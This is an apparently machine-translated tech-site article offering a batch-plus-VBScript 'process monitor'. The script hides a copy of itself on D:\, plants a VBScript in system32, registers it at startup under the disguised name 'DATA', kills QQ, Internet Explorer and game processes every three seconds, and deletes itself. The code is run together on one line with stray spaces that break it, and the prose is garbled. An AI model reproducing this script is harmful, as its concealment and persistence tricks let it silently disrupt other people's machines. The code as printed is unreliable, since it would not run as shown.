Get the App
SLTechnology News&Howtos  ›  Development  › 

How to use vbs+bat to implement process Monitoring

Shulou Source: shulou.com Published: 2022-06-03 08:39:22 11月15日 Update

This article is about how to use vbs+bat to achieve process monitoring. Xiaobian thinks it is quite practical, so share it with everyone for reference. Let's follow Xiaobian and have a look.

jk.vbs will be generated in %windir%\system32\directory after running,

And automatically add registry startup entries, in addition to D:\will generate a hidden attribute JK.VBS,

Monitor the process at intervals of 3 seconds. If there are QQ.exe, iexplore.exe, client.exe and game.exe processes in the process, the process will automatically end.

The code is as follows:

@echo off attrib -s -h -a -r d:\jk.bat 1>nul 2>nul if exist d:\jk.bat del d:\jk.bat /q copy %0 d:\jk.bat /y >nul attrib +s +h +a +r d:\jk.bat if exist %windir%\system32\jk.vbs del %windir%\system32\jk.vbs echo y|reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v DATA /t REG_SZ /d c:\windows\system32\jk.vbs >nul echo Do>>%windir%\system32\jk.vbs echo WScript.Sleep 3000>>%windir%\system32\jk.vbs echo strComputer = ". " >>%windir%\system32\jk.vbs echo Set objWMIService = GetObject ("winmgmts: \\" ^& strComputer ^& "\root\CIMV2") >>%windir%\system32\jk.vbs echo Set colItems = objWMIService.ExecQuery ( _>>%windir%\system32\jk.vbs echo "SELECT * FROM Win32_Process",, 48)>>%windir%\system32\jk.vbs echo For Each objItem in colItems >>%windir%\system32\jk.vbs echo If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _>>%windir%\system32\jk.vbs echo objItem.Name="client.exe" Or objItem.Name="game.exe" _>>%windir%\system32\jk.vbs echo Then objitem.Terminate()>>%windir%\system32\jk.vbs echo Next>>%windir%\system32\jk.vbs echo loop>>%windir%\system32\jk.vbs start %windir%\system32\jk.vbs del %0 /q Thank you for reading! About "how to use vbs+bat to achieve process monitoring" this article is shared here, I hope the above content can be of some help to everyone, so that everyone can learn more knowledge, if you think the article is good, you can share it to let more people see it!

Tags: Process monitoring content more articles generation good practical code properties articles registry directories see knowledge reference help related run Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno Shulou Information OPPO Reno vpn macOS Redmi